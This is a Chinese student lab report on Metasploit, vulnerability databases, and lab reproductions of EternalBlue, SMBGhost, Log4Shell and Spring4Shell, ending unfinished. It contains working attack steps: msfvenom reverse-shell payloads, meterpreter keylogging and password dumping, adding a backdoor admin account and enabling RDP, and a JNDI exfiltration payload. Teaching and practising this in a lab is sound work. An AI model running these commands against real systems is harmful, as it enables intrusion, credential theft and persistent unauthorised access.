软件安全分析与应用之漏洞利用(一)
2.2.1 撰写学习与安装报告
(1)学习 MateSploit Framework(简称 MSF)的基本技术资料;
Metasploit Framework(简称 MSF)是一个强大的渗透测试和安全研究工具,它为安全专业人员提供了一整套用于漏洞利用、攻击模拟、后渗透测试等多种功能的工具集。Metasploit 是由 Rapid7 维护的一个开源项目,广泛应用于网络安全领域。
以下是学习 Metasploit Framework 的一些基本技术资料及使用指南。
1. Metasploit Framework 简介
Metasploit Framework 是一个基于 Ruby 编写的开源工具集,主要用于漏洞验证、渗透测试、网络攻击模拟和后渗透测试。它通过模块化的设计,支持大量的攻击载体(payloads)、漏洞利用(exploits)和辅助模块(auxiliary modules)。
Metasploit 主要组成部分:
Exploits(漏洞利用模块):包含各种针对已知漏洞的攻击代码。
Payloads(有效载荷):是攻击成功后执行的代码,常用于建立远程连接、提升权限或获取敏感数据等。
Auxiliary Modules(辅助模块):用于扫描、嗅探、爆破、漏洞检测等功能,辅助漏洞利用。
Encoders(编码器):用于对 payload 进行编码,避免被防病毒软件或IDS/IPS系统检测。
Post Exploitation(后渗透模块):攻击成功后,用于信息收集、权限提升、横向移动等操作的模块。
2. Metasploit 安装与环境配置
Metasploit 可以在多种操作系统上运行,包括 Linux、macOS 和 Windows。最常见的安装方法是通过 Kali Linux,因为 Kali Linux 默认包含了 Metasploit Framework。
Kali Linux 安装方法:
更新系统:
bash
sudo apt update && sudo apt upgrade -y
安装 Metasploit:
bash
sudo apt install metasploit-framework
启动 Metasploit 控制台:
bash
msfconsole
Windows 安装:
Metasploit 也可以通过 Windows 环境安装。你可以通过 Rapid7 官方网站下载并安装 Metasploit Community 或 Pro 版本,或通过安装 Kali Linux 虚拟机的方式间接使用。
3. Metasploit 基本命令
一旦安装并启动 msfconsole,你可以使用许多命令来操作 Metasploit。以下是一些常用命令:
msfconsole:启动 Metasploit 控制台。
search [关键词]:搜索与关键词相关的模块(例如:search apache)。
use [模块名]:选择并使用指定的模块(例如:use exploit/windows/smb/ms17_010_eternalblue)。
info:显示当前选中模块的详细信息。
show options:显示当前模块的可配置选项(如目标 IP、端口等)。
set [选项] [值]:设置模块的选项(例如:set RHOST 192.168.1.100)。
run 或 exploit:执行当前选中的模块。
back:退出当前模块,返回到主控制台。
exit:退出 Metasploit 控制台。
4. Metasploit 模块类型
Metasploit 包含多种模块,它们的功能各异:
(1) Exploits(漏洞利用模块)
这些模块用于针对目标系统的已知漏洞进行攻击。Metasploit 提供了大量的漏洞利用模块,涵盖了从 Web 应用到操作系统层面的漏洞。
示例:
bash
use exploit/windows/smb/ms17_010_eternalblue
(2) Payloads(有效载荷)
Payloads 是在漏洞利用成功后执行的代码,Metasploit 支持多种类型的 Payload,例如反向 shell、Meterpreter 等。
示例:
bash
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
(3) Auxiliary Modules(辅助模块)
辅助模块用于执行非漏洞利用操作,如扫描、暴力破解、信息收集等。
示例:
bash
use auxiliary/scanner/ssh/ssh_version
(4) Post Modules(后渗透模块)
后渗透模块用于攻击成功后进一步控制目标,如提权、信息窃取等。
示例:
bash
use post/windows/gather/enum_logged_on_users
5. Metasploit 工作流程
使用 Metasploit 进行渗透测试通常遵循以下几个步骤:
步骤 1:信息收集
在渗透测试过程中,第一步通常是收集目标系统的信息。Metasploit 提供了多种辅助模块用于扫描目标系统,获取服务、端口、操作系统版本等信息。
bash
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 80,443,22
run
步骤 2:漏洞扫描与选择
根据收集到的信息,使用 Metasploit 的漏洞扫描模块检测目标系统是否存在已知漏洞。
bash
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.100
run
步骤 3:利用漏洞
如果目标存在可利用的漏洞,选择适当的 exploit 模块,配置相关选项并执行攻击。
bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
run
步骤 4:后渗透与信息收集
一旦攻击成功,可以利用 post exploitation 模块进一步获取系统信息、提升权限或横向移动。
bash
use post/windows/gather/enum_logged_on_users
run
6. Metasploit 高级功能
Meterpreter:是 Metasploit 提供的一个强大的反向 shell,有许多内置命令,可以用来执行系统命令、上传/下载文件、捕获屏幕截图、键盘记录等。
自动化渗透测试:通过脚本化工具,可以在 Metasploit 中自动化渗透测试过程,使用 Resource scripts(.rc 文件)来批量执行一系列操作。
MSFvenom:是一个用于生成自定义 payload 的工具。你可以使用它来生成适合你攻击需求的 payload,例如生成一个可执行文件或脚本。
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f exe > payload.exe
7. Metasploit 安全性与道德使用
Metasploit 是一个强大的工具,但必须注意其道德使用。在进行渗透测试时,始终要获得目标系统的授权,并遵守相关的法律法规。未经授权的渗透测试是非法的。
8. 学习资源与文档
官方文档:Metasploit Documentation
Metasploit Unleashed:免费的在线教程,适合初学者深入学习 Metasploit。
Hack The Box & TryHackMe:提供靶机环境,可以实战演练 Metasploit 和渗透测试技巧。
书籍:《Metasploit: The Penetration Tester’s Guide》(作者:David Kennedy)
通过上述资源,你可以逐步掌握 Metasploit Framework,提升自己的渗透测试技能。
(2)安装镜像版和虚拟机版的 MSF 平台;
Metasploit Framework(MSF)可以通过镜像版和虚拟机版进行安装和部署。这里我将分别介绍这两种安装方式。
1. 安装镜像版的 Metasploit Framework
Metasploit 镜像版通常是指在某些 Linux 发行版(如 Kali Linux)中,Metasploit 被预安装或作为一部分提供。这是最简单的一种安装方式,适用于新手和需要快速搭建渗透测试环境的用户。
1.1 使用 Kali Linux 镜像版安装 Metasploit
Kali Linux 是一款专为渗透测试和安全研究设计的 Linux 发行版,Metasploit 是其默认集成的工具之一。你可以直接通过 Kali Linux 镜像来安装和使用 Metasploit。
步骤:
下载 Kali Linux 镜像
访问 Kali Linux 官方网站下载适合你计算机架构(x64 或 ARM)的 Kali Linux 镜像。你可以选择 ISO 镜像来制作启动盘,也可以选择虚拟机镜像(VMware 或 VirtualBox 格式)。
创建 Kali Linux 启动盘或虚拟机
如果你使用物理机,使用工具如 Rufus 来制作启动盘,将 Kali Linux ISO 写入 USB 设备并启动计算机。
如果你使用虚拟机,直接导入 Kali Linux 的虚拟机镜像(.ova 或 .vmdk)文件。
启动 Kali Linux
启动 Kali Linux 后,登录系统(默认用户名为 root,密码为 toor)。
更新 Kali Linux 并确保 Metasploit 可用
Kali Linux 默认已经预装了 Metasploit。如果没有安装或需要更新,可以通过以下命令来安装或更新 Metasploit:
bash
sudo apt update && sudo apt upgrade -y
sudo apt install metasploit-framework
启动 Metasploit 控制台
安装完成后,使用以下命令启动 Metasploit 控制台:
bash
msfconsole
1.2 使用其他 Linux 发行版(如 Ubuntu)安装 Metasploit
如果你没有使用 Kali Linux,其他 Linux 发行版(如 Ubuntu)也可以安装 Metasploit。你可以按照以下步骤进行安装。
步骤:
更新系统并安装必要的软件包:
bash
sudo apt update && sudo apt upgrade -y
sudo apt install -y curl gnupg
下载并安装 Metasploit:
bash
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate | sudo bash
安装完毕后,通过 msfconsole 启动 Metasploit:
bash
msfconsole
2. 安装虚拟机版的 Metasploit
虚拟机版的 Metasploit 通常指的是 Kali Linux 提供的虚拟机镜像,或 Metasploit Community Edition 虚拟机镜像,适用于 VMware 和 VirtualBox 虚拟化平台。
2.1 使用 Kali Linux 虚拟机镜像版安装
你可以直接使用 Kali Linux 的虚拟机镜像,在 VMware 或 VirtualBox 中运行 Kali Linux 来使用 Metasploit。此方法适用于不想在本地硬盘上安装 Linux 系统的用户。
步骤:
下载 Kali Linux 虚拟机镜像
访问 Kali Linux 虚拟机下载页面,根据你所使用的虚拟化平台选择下载合适的虚拟机镜像(VMware 或 VirtualBox 格式)。
导入虚拟机镜像
VMware:下载完成后,打开 VMware Workstation 或 VMware Player,点击 "Open" 选择下载的 .ova 文件,按照提示导入虚拟机。
VirtualBox:下载 .ova 文件后,打开 VirtualBox,点击 "File" > "Import Appliance",选择下载的 .ova 文件导入虚拟机。
启动 Kali Linux 虚拟机
启动 Kali Linux 虚拟机,默认用户名是 root,密码是 toor。
更新 Kali Linux 虚拟机镜像
在 Kali Linux 虚拟机中,打开终端并更新系统:
bash
sudo apt update && sudo apt upgrade -y
启动 Metasploit 控制台
在终端中输入 msfconsole 启动 Metasploit。
bash
msfconsole
2.2 使用 Metasploit Community Edition 虚拟机镜像
如果你选择的是 Metasploit Community Edition 虚拟机镜像,它包括一个预配置的虚拟机环境,已经安装并配置好 Metasploit。如果你是企业用户或需要更强大的功能,可以使用此版本。
步骤:
下载 Metasploit Community Edition 镜像
访问 Metasploit 官方网站下载 Metasploit Community Edition 虚拟机镜像,支持 VMware 和 VirtualBox 格式。
导入虚拟机镜像
按照前面的步骤将虚拟机镜像导入 VMware 或 VirtualBox。
启动虚拟机
启动虚拟机后,你可以登录并开始使用 Metasploit。
3. 常见问题和解决方法
问题 1:无法启动 msfconsole
确保 Metasploit 已正确安装,并且没有出现依赖性问题。尝试使用 sudo apt install metasploit-framework 重新安装。
问题 2:网络连接问题
如果在虚拟机中使用 Kali Linux,确保虚拟机的网络设置为桥接模式,或正确配置 NAT 模式。
问题 3:虚拟机性能慢
可以通过为虚拟机分配更多的 CPU 和内存资源来改善性能。
通过上述步骤,你可以成功安装并使用 Metasploit Framework 无论是在物理机、虚拟机,还是通过镜像安装。虚拟机版本适合那些不希望修改主机环境的用户,而镜像版本则适合那些希望在实际硬件上进行安装的用户。
(3)学会 MSF 的常用命令;
Metasploit Framework(MSF)是一个功能强大的渗透测试工具,提供了许多命令和模块,用于漏洞扫描、攻击和漏洞利用等任务。要学会 MSF 的常用命令,首先需要了解其基本操作。以下是一些在使用 MSF 时最常用的命令。
1. 启动 Metasploit 控制台
启动 Metasploit 控制台是使用 MSF 的第一步。
bash
Msfconsole
图2. 1
在终端输入 msfconsole 命令后,Metasploit 控制台将启动,显示如 msf > 的提示符。
2. 帮助命令
在 Metasploit 控制台中,你可以使用 help 命令来查看所有可用的命令。
bash
Help
图 2.2
图 2.3
图 2.4
图 2.5
图 2.6
图 2.7
图 2.8
图 2.9
或者查看某个特定命令的帮助信息:
bash
help <command>
例如:
bash
help use
图 2.10
3. 使用模块
Metasploit Framework 中有很多模块,包括漏洞利用模块(exploit)、扫描模块(scanner)、后渗透模块(post)等。使用模块的命令是 use。
bash
use <模块名称>
例如:
bash
use exploit/windows/smb/ms17_010_eternalblue
这会加载 EternalBlue 漏洞利用模块。
图 2.11
图 2.12
4. 显示模块信息
加载模块后,可以通过 info 命令查看模块的详细信息。
bash
Info
图 2.13
也可以查看模块的详细参数和说明,帮助你了解如何配置模块。
5. 设置模块选项
每个模块可能需要一些选项来配置。例如,漏洞利用模块通常需要目标主机和端口等信息。这些选项通过 set 命令来设置。
bash
set <选项名称> <选项值>
例如:
bash
set RHOSTS 192.168.1.10
set RPORT 445
这会设置目标主机为 192.168.1.10,端口为 445。
图 2.14
6. 显示所有已设置的选项
可以使用 show options 查看当前模块设置的选项:
bash
show options
图 2.15
7. 执行漏洞利用
设置完所有必要的选项后,可以通过 exploit 或 run 命令执行模块。
bash
exploit
或者:
bash
Run
图 2.16
图 2.17
8. 执行多个漏洞利用模块
如果希望在一次会话中运行多个模块,可以使用 exploit -j 来启动一个后台任务。例如:
bash
exploit -j
图 2.18
这将会把漏洞利用操作放到后台,继续进行其他操作。
9. 查看已加载的模块
查看所有可用的模块,可以使用 show 命令:
bash
show exploits
图 2.19
这将列出所有可用的漏洞利用模块。
如果你只想查看特定类别的模块,可以使用:
bash
show auxiliary
图 2.20
show payloads
图 2.21
show encoders
图 2.22
10. 设置并使用有效载荷(Payload)
Metasploit 提供了多种有效载荷,选择合适的有效载荷对于漏洞利用成功至关重要。使用 set PAYLOAD 来设置有效载荷:
bash
set PAYLOAD windows/meterpreter/reverse_tcp
这会选择 Windows 反向 TCP Meterpreter 载荷。
11. 查看有效载荷
你可以查看所有可用的有效载荷:
bash
show payloads
12. 获取会话
如果成功利用目标,通常会获得一个会话(Session)。你可以使用以下命令来列出所有会话:
bash
sessions
如果有多个会话,可以选择连接到特定会话:
bash
sessions -i <会话ID>
例如:
bash
sessions -i 1
13. 交互式会话操作
一旦进入一个会话,你可以通过 Meterpreter 进行后渗透操作。常用命令包括:
获取系统信息:
bash
sysinfo
列出当前用户:
bash
getuid
列出当前目录:
bash
pwd
列出文件:
bash
ls
上传文件到目标系统:
bash
upload <本地文件路径> <远程文件路径>
14. 与目标系统交互
Meterpreter 提供了很多与目标系统交互的命令,例如:
执行命令:
bash
execute -f <命令路径>
键盘记录:
bash
keyscan_start
keyscan_dump
keyscan_stop
打开一个反向 shell:
bash
shell
15. 管理会话
如果你有多个活动会话,可以使用以下命令来管理它们:
列出所有会话:
bash
sessions
与指定会话交互:
bash
sessions -i <会话ID>
16. 退出 Metasploit 控制台
完成工作后,可以通过以下命令退出 Metasploit 控制台:
bash
exit
17. 更新 Metasploit
Metasploit 经常发布更新,可以通过以下命令来更新:
bash
msfupdate
总结:
use <模块>: 使用模块
set <选项> <值>: 设置模块选项
show options: 查看当前模块的设置选项
exploit / run: 执行模块
sessions: 管理和查看会话
help: 查看命令帮助
这些是 Metasploit 中一些最常用的命令。掌握这些基础命令后,你就能够在 Metasploit 控制台中执行各种渗透测试任务。
(4)结合上课讲得案例,复现 MSF 控制一台虚拟机的过程,要求录屏;
使用永恒之蓝漏洞复现
先获取主机ip地址
图 2.23
先启动msf metasploit framework
图 2.24
图 2.25
输入 use exploit/windows/smb/ms17_010_eternalblue
图 2.26
输入show options查看具体利用
图 2.27
设置被攻击机的ip 192.168.25.139
图 2.28
输入 run
成功之后
左下角变成meterpreter
输入sessions
图 2.29
图 2.30
图 2.31
进入会话操作
图 2.32
数入chcp 65001防止乱码
图 2.33
进入目标主机在终端进行操作
输入getuid看出当前用户
图 2.34
输入sysinfo查看当前系统信息
图 2.35
输入pwd 列里出目录
图 2.36
输入ls列出文件
图 2.37
2.2.2 撰写漏洞工具库的使用和复现报告
(1)熟练掌握 Exploit-db 和VULNERABILITY LAB - SECURITY VULNERABILITY RESEARCH LABORATORY - Best Independent Bug Bounty Programs, Responsible Disclosure & Vulnerability Coordination Platform - INDEX
使用searchsploitm-u更新数据库
图 2.38
输入searchsploit -h查看帮助信息
图 2.39
查找特定词的漏洞:
searchsploit afd windows local
图 2.40
默认情况下,searchsploit将检查漏洞的标题以及路径。根据不同的搜索条件,这可能会弹出误报。可以使用 -t 选项将搜索限制为标题:
searchsploit -t oracle windows
图 2.41
searchsploit的输出可以通过管道传输到任何其他程序,这在以JSON格式为输出结果(使用-j选项)时特别有用。有了这个,可以通过使用 grep 删除任何不必要的 exploit。在以下示例中,我们使用grep去掉目录为/dos/的结果:
searchsploit XnView | grep -v '/dos/'
图 2.42
找到了漏洞文件名后(39446是该漏洞的ID号),可以通过-p选项快速复制路径。
searchsploit -p 39446.py
or
searchsploit -p 39446
图 2.43
建议不要更改数据库的本地副本中的漏洞利用。我们可以把脚本复制到一个文件夹中。
searchsploit -m 39446 39525
图 2.44
使用 -w 选项就可以看见 exploit 在Exploit-DB上的URL:
searchsploit WarFTP 1.65 -w
图 2.45
Vulnerability Lab 是一个提供关于网络安全和漏洞研究的资源平台,它包含漏洞报告、漏洞数据库以及安全研究工具等内容。使用 Vulnerability Lab 网站,主要目的是帮助安全研究人员查找漏洞信息、提交漏洞报告以及使用相关工具来进行渗透测试和漏洞分析。以下是Vulnerability Lab网站的一些常见使用教程和功能说明。
1. 访问网站
首先,你需要访问 Vulnerability Lab官网。
2. 注册与登录
在主页右上角,点击 “Sign Up” 进行注册,填写用户名、邮箱、密码等信息。
注册后,登录到网站来提交漏洞报告或者使用其他功能。
3. 查看漏洞数据库
网站提供了一个漏洞数据库,用户可以查阅已公开的漏洞信息。
浏览漏洞:
在顶部菜单选择 “Vulnerabilities”,你将看到一个列出所有漏洞的页面。
你可以使用过滤器(例如按漏洞类型、影响产品、提交日期等)来筛选和查找特定漏洞。
详细信息:
点击漏洞条目,你可以查看该漏洞的详细信息,包括漏洞描述、影响版本、修复方法等。
4. 漏洞报告提交
提交漏洞:
点击网站顶部的 “Submit Vulnerability”(提交漏洞)按钮。
在提交页面,你需要填写漏洞报告的相关信息,包括漏洞的描述、影响范围、漏洞类型、漏洞复现步骤以及可能的补丁或建议。
确保提供尽可能详细的复现信息,以帮助漏洞分析人员理解漏洞的严重性和影响。
漏洞状态:
提交后,你可以在“我的报告”页面查看提交的漏洞报告状态,包括是否已被审核、是否已修复等。
5. 漏洞研究工具
Vulnerability Lab 提供了一些安全研究工具,帮助安全专家进行渗透测试和漏洞分析。
下载工具:
在网站的 “Tools” 部分,你可以找到一些有用的工具,进行漏洞扫描、网站渗透测试、Web应用安全测试等。
使用指南:
每个工具通常会提供一些简单的使用说明或链接到相关的教程,帮助你理解如何正确使用。
6. 安全研究博客
博客部分:
Vulnerability Lab 上有一个博客部分,分享一些安全研究的最佳实践、漏洞分析技巧、工具使用教程等内容。
定期访问博客,可以帮助你获得最新的网络安全知识和漏洞研究动态。
7. 社区与论坛
参与讨论:
在网站上,你可以找到安全研究者的讨论区或社区,了解最新的漏洞分析、技术分享等内容。
你可以注册并参与讨论,提出问题或分享你的安全研究成果。
8. 漏洞验证与补丁
在漏洞报告中,Vulnerability Lab 通常会对报告的漏洞进行验证和复现。
一旦漏洞被确认,网站可能会提供补丁或修复的建议,帮助用户修复漏洞,保障系统安全。
9. 漏洞研究案例
在网站上,除了漏洞报告,还有一些研究者发布的漏洞分析案例。你可以参考这些案例,学习漏洞的复现技巧,提升自己的漏洞研究能力。
10. 订阅与通知
订阅漏洞通知:
如果你希望第一时间获取新的漏洞发布,可以通过邮件订阅功能,设置通知,以便实时了解漏洞更新。
结语
Vulnerability Lab 是一个非常有用的资源平台,适合安全研究人员、渗透测试人员以及开发者使用。通过查阅漏洞报告、提交新漏洞、下载工具以及参与社区讨论,能够帮助你提升网络安全技术水平。同时,作为一个技术平台,Vulnerability Lab 的信息和工具可以帮助用户进行更深入的漏洞分析与修复工作。
(2)熟练使用国家信息安全漏洞库 CNNVD
国家信息安全漏洞库(CNNVD)是中国国家信息安全漏洞库,旨在提供有关信息安全漏洞的技术性信息及其处理建议。CNNVD 由中国信息安全评测认证中心(ISCCC)维护,面向公众和安全行业提供漏洞通报、修复建议、漏洞评估等服务。
CNNVD 的主要功能:
漏洞通报与查询
漏洞提交与管理
漏洞分析与修复建议
漏洞趋势分析与统计
如何熟练使用 CNNVD?
以下是关于如何熟练使用 CNNVD 的一些基本步骤和功能介绍。
1. 访问 CNNVD 网站
访问 CNNVD 的官方网站:
https://www.cnnvd.org.cn
该网站为用户提供了一个关于信息安全漏洞的集中平台,你可以在这里查看、搜索和查询各种漏洞信息。
2. 注册与登录
要提交漏洞报告或使用一些高级功能,首先需要注册和登录账户。
注册:点击页面右上方的“注册”按钮,填写相关信息进行注册。
登录:如果已经有账号,可以直接登录。
登录后,用户可以提交漏洞报告,查看历史漏洞记录,参与讨论等。
3. 漏洞查询
CNNVD 提供了强大的漏洞查询功能,帮助你快速查找已有的漏洞信息。
查询功能:在首页的搜索框或导航栏中,你可以根据 CVE编号、漏洞名称、产品名称、漏洞类型等关键词进行搜索。
筛选功能:你可以通过页面中的筛选条件,如漏洞级别(严重、较高、中等、低)、发布日期等,来缩小查询范围。
4. 查看漏洞详情
每个漏洞的详细页面中,通常会包含以下信息:
漏洞编号:每个漏洞都有一个唯一的编号。
漏洞描述:详细介绍漏洞的类型、原因以及影响范围。
影响产品/版本:列出受影响的操作系统、软件及其版本。
漏洞等级:漏洞的严重性等级,通常使用 CVSS(通用漏洞评分系统)来标示漏洞的严重程度。
漏洞补丁和修复建议:提供厂商发布的补丁、修复措施或者其他防护建议。
漏洞复现步骤:如果该漏洞被公开,通常会有相关的复现步骤或攻击示范。
公开时间:漏洞的公开日期。
5. 漏洞报告提交
如果你发现了新的信息安全漏洞,可以通过 CNNVD 网站提交漏洞报告。提交过程通常包括:
登录账户:确保你已经登录。
漏洞报告入口:在导航栏找到“漏洞提交”入口。
填写报告:
漏洞基本信息:包括漏洞的描述、影响范围、复现步骤等。
附件:上传相关的漏洞截图、复现视频或者其他技术证明材料。
补丁和修复建议:如果你有相关的修复措施或建议,可以在报告中提供。
提交后,CNNVD 会对漏洞报告进行审核与处理,并将漏洞信息发布在漏洞库中。
6. 漏洞管理
在 CNNVD 注册并登录后,你可以访问我的漏洞管理页面,查看已提交的漏洞报告,跟踪漏洞处理进度,了解是否已被确认或修复。
漏洞状态:查看漏洞是否已被发布,是否有厂商的修复补丁。
历史报告:查看你历史上提交过的所有漏洞报告。
漏洞详情:查看报告漏洞的详细分析和处理结果。
7. 漏洞趋势与统计
CNNVD 提供了漏洞趋势分析功能,可以帮助用户了解当前信息安全的热点问题和漏洞分布情况。
统计图表:查看漏洞发布的年度、季度统计数据。
漏洞类型分析:了解不同类型漏洞(如 Web 应用漏洞、操作系统漏洞等)的趋势。
影响产品分析:查看漏洞主要影响哪些产品和平台。
这些数据可以帮助你提前了解行业的安全态势,制定有效的防护策略。
8. 漏洞修复建议与响应
CNNVD 提供的每个漏洞都有详细的修复建议。你可以根据漏洞的描述和影响,结合官方补丁、厂商发布的修复手段以及CNNVD的专业分析,采取相应的补救措施。
官方补丁:很多漏洞会列出厂商发布的修复补丁,可以下载并部署到相关系统。
应急响应:对于没有补丁的漏洞,CNNVD 通常会提供一些应急防护措施或缓解方法,帮助企业和组织减轻漏洞的影响。
9. 参与社区与论坛
CNNVD 还支持用户参与漏洞分析讨论和技术分享。
漏洞分析报告:安全专家和技术社区的成员会发布详细的漏洞分析报告。
漏洞修复经验:可以了解不同组织和公司应对漏洞的修复经验和技术策略。
通过参与社区,你可以提高自己在信息安全领域的知识水平,同时也能获取更多的技术支持。
10. 安全意识与漏洞预警
CNNVD 也会发布一些安全意识提升的文章,提醒用户关注最新的漏洞信息并采取防护措施。通过订阅漏洞预警,用户可以实时获取漏洞的动态更新。
漏洞预警订阅:你可以通过订阅CNNVD的漏洞预警邮件,实时跟踪漏洞信息。
定期更新:CNNVD 会定期发布重要漏洞通报,提醒用户关注。
总结
熟练使用 CNNVD,首先要学会如何查询漏洞、如何提交漏洞报告、如何解读漏洞修复建议以及如何参与安全社区的讨论。CNNVD 是一个强大的信息安全工具,能帮助你了解信息安全漏洞的最新动态,及时修复系统中的安全漏洞,并提升整体的网络安全防护水平。
(3)国家信息安全漏洞共享平台 CNVD https://www.cnvd.org.cn
国家信息安全漏洞共享平台(CNVD)是由中国国家信息安全漏洞库提供的一个综合性平台,旨在加强信息安全漏洞的管理与共享,帮助用户及时了解、修复和防范网络安全漏洞。CNVD 通过向用户提供漏洞报告、漏洞分析、修复建议等功能,提升企业和个人的安全防护能力。
CNVD 的主要功能
漏洞报告与查询
CNVD 提供了一个开放的漏洞数据库,用户可以通过关键字、CVE 编号、产品名称等条件进行漏洞查询,了解已公开的漏洞信息。
漏洞提交
如果你发现了新的安全漏洞,可以通过 CNVD 提交漏洞报告。提交的漏洞报告会被审核并公开发布。
漏洞详情
每个漏洞都有详细的分析和描述,包括漏洞的危害、影响范围、漏洞修复建议以及厂商发布的补丁信息。
漏洞等级评估
CNVD 根据漏洞的危害程度,为漏洞进行分类和评级(如:高危、中危、低危)。这帮助用户快速判断漏洞的影响大小并采取相应的防护措施。
安全防护建议
CNVD 提供漏洞的修复建议或临时缓解措施,指导用户如何有效地处理漏洞,减少潜在风险。
漏洞通知与预警
CNVD 会定期发布漏洞通报、预警信息,帮助用户及时掌握安全动态,避免因未及时修复漏洞而遭受攻击。
统计与分析
CNVD 提供漏洞趋势分析报告,帮助用户了解当前信息安全的热门问题和漏洞分布,进行安全态势感知。
如何使用 CNVD 平台
1. 访问 CNVD 网站
你可以访问 CNVD 官方网站以了解漏洞信息、提交报告和查询漏洞详情。
2. 漏洞查询
通过搜索框:在首页的搜索框中输入漏洞的 CVE编号、漏洞名称、影响产品等关键词,快速查找相关漏洞。
使用筛选条件:选择漏洞的危险等级、漏洞类型、影响的操作系统或应用软件,进行精确查询。
3. 查看漏洞详情
每个漏洞的详细页面中,通常包括以下内容:
漏洞编号:例如 CVE 编号。
漏洞描述:详细解释漏洞的成因、影响的范围、漏洞危害等。
漏洞影响:包括受影响的软件版本、操作系统等。
修复建议:厂商发布的补丁或临时缓解措施。
漏洞复现步骤:如果该漏洞已被验证公开,通常会提供复现步骤或攻击示范。
4. 提交漏洞报告
如果你发现了安全漏洞,可以在 CNVD 网站上提交漏洞报告。提交时需要提供以下信息:
漏洞描述:漏洞的类型、影响范围、攻击方式等。
复现步骤:如果可以复现漏洞,提供详细的复现步骤。
漏洞影响:列出哪些产品或服务受到了影响。
附件:上传相关的截图、日志或其他证据材料。
通过提交漏洞报告,社区和厂商可以尽早处理并发布补丁。
5. 获取安全预警与更新
CNVD 会定期发布漏洞通报、预警信息和安全提示,帮助用户了解新的漏洞信息,并及时修补系统中的安全隐患。
总结
CNVD 作为国家级的信息安全漏洞平台,是保障网络安全的重要工具之一。通过漏洞的收集、评估、共享与修复建议,CNVD 不仅能帮助组织和个人提高安全防护意识,还能减少网络安全事故的发生,保障信息系统的完整性与可用性。
通过熟练使用 CNVD,安全研究人员、企业 IT 部门以及个人用户能够及时获取安全漏洞信息,并采取有效措施,防止信息系统受到攻击或损害。
(4)利用 MSF 复现“永恒之蓝”:要求录屏
打开msf msfconsole
图2.46
搜索search ms17_010
图 2.47
先使用扫描模块
图 2.48
使用show options
图 2.49
设置攻击机地址 192.168.25.139
图 2.50
Run
图 2.51
可能有然后使用攻击模块
图 2.52
Show options
图 2.53
Run
图 2.54
图 2.55
成功
Show payloads
图 2.56
建立攻击载荷
图 2.57
图2. 58
图 2.59
图 2.60
图 2.61
图 2.62
成功进入利用
图 2.63
截屏 screenshot
图 2.64
图 2.65
获取密码
图 2.66
获取反弹shell
图 2.67
图 2.68
添加哦用户 net user hjl1 123 /add
图 2.69
添加到管理员组
Net localgroup administrators hjl1 /add
图 2.70
图 2.71
添加成功
开启目标远程桌面
图 2.72
打开远程桌面
图 2.73
图 2.74
图2. 75
图 2.76
图 2.77
(5)利用 MSF 复现“永恒之黑”:要求录屏
找到验证永恒之黑·的工具 克隆到虚拟机里
Git clone https://github.com/eerykitty/CVE-2020-0796-PoC.git
图 2.78
进入到下载的工具里
图 2.79
查看用法
图 2.80
下载漏洞利用工具
Git clone GitHub - chompie1337/SMBGhost_RCE_PoC
图 2.81
用漏洞扫描工具
图 2.82
仍然存在漏洞
图 2.83
图 2.84
图 2.85
在kali上生成反单shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.25.138 LPORT=5555 -b '\x00' -i 1 -f python > exploit
将生成的exploit文件中的 buf 替换为 USER_PAYLOAD
vi exploit
:%s/buf/USER_PAYLOAD
:wq
将工具中 exploit.py中的USER_PAYLOAD部分替换成exploit文件中的内容
图 2.86
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
图 2.87
图 2.88
图 2.89
图 2.90
set lhost 192.168.25.138
set lport 5555
run
(6)上网自学,Log4Shell(CVE-2021–44228):要求录屏
在github上搜索vulhub(这个必须挂梯子不然访问不进去)
Git clone GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose
弄到kali上
图 2.91
Cd 进入 ls 查看内容
图 2.92
进入cve-2021-44228
输入docker-compose up -d 启动容器
图 2.93
Docker ps 查看端口映射
图 2.94
在网站输入
直接在网站搜索https://vulfocus.cn/#/
图 2.95
打开网站
图 2.96
点击???
发现payload
图 2.97
打开DNSlog在线网站
DNSLOG Platform
DNSLog Platform
CEYE - Monitor service for security testing 知道创宇
获取${jndi:ldap://tkp4zj.dnslog.cn}
直接输入发现错误 猜想要url编码
${jndi:ldap://${sys:java.version}.tkp4zj.dnslog.cn}
获取java版本确实存在漏洞
图 2.98
图 2.99
图 2.100
图 2.101
图 2.102
然后进行漏洞利用
还可以直接拉取镜像
docker pull vulfocus/log4j2-rce-2021-12-09:latest
图 2.103
在搭建容器
docker run -d -p 9001:8080 vulfocus/log4j2-rce-2021-12-09:latest
图 2.104
图 2.105
搭建成功
图 2.106
然后开始漏洞利用
下载JIDI工具
git clone GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)
如果不行就要关闭代理
git config --global --unset http.proxy
git config --global --unset https.proxy
apt install git
实在不行直接下载
图 2.107
进入目录
图 2.108
没有maven 请安装
wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz
然后哦解压
tar -zxvf apache-maven-3.9.4-bin.tar.gz
然后哦修改配置文件
vim /etc/profile
export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解压后所在的位置
export PATH=$MAVEN_HOME/bin:$PATH
图 2.109
还有最后i一步请记得刷新
source /etc/profile
(7)上网自学 Spring4Shell(CVE-2022–22965):要求录屏
在docker容器中其启动
图 2.110
在网址输入
图 2.111
进入的界面的是这样的
输入这句话
界面如下
图 2.112
开启代理点击进行抓包
图 2.113
输入poc
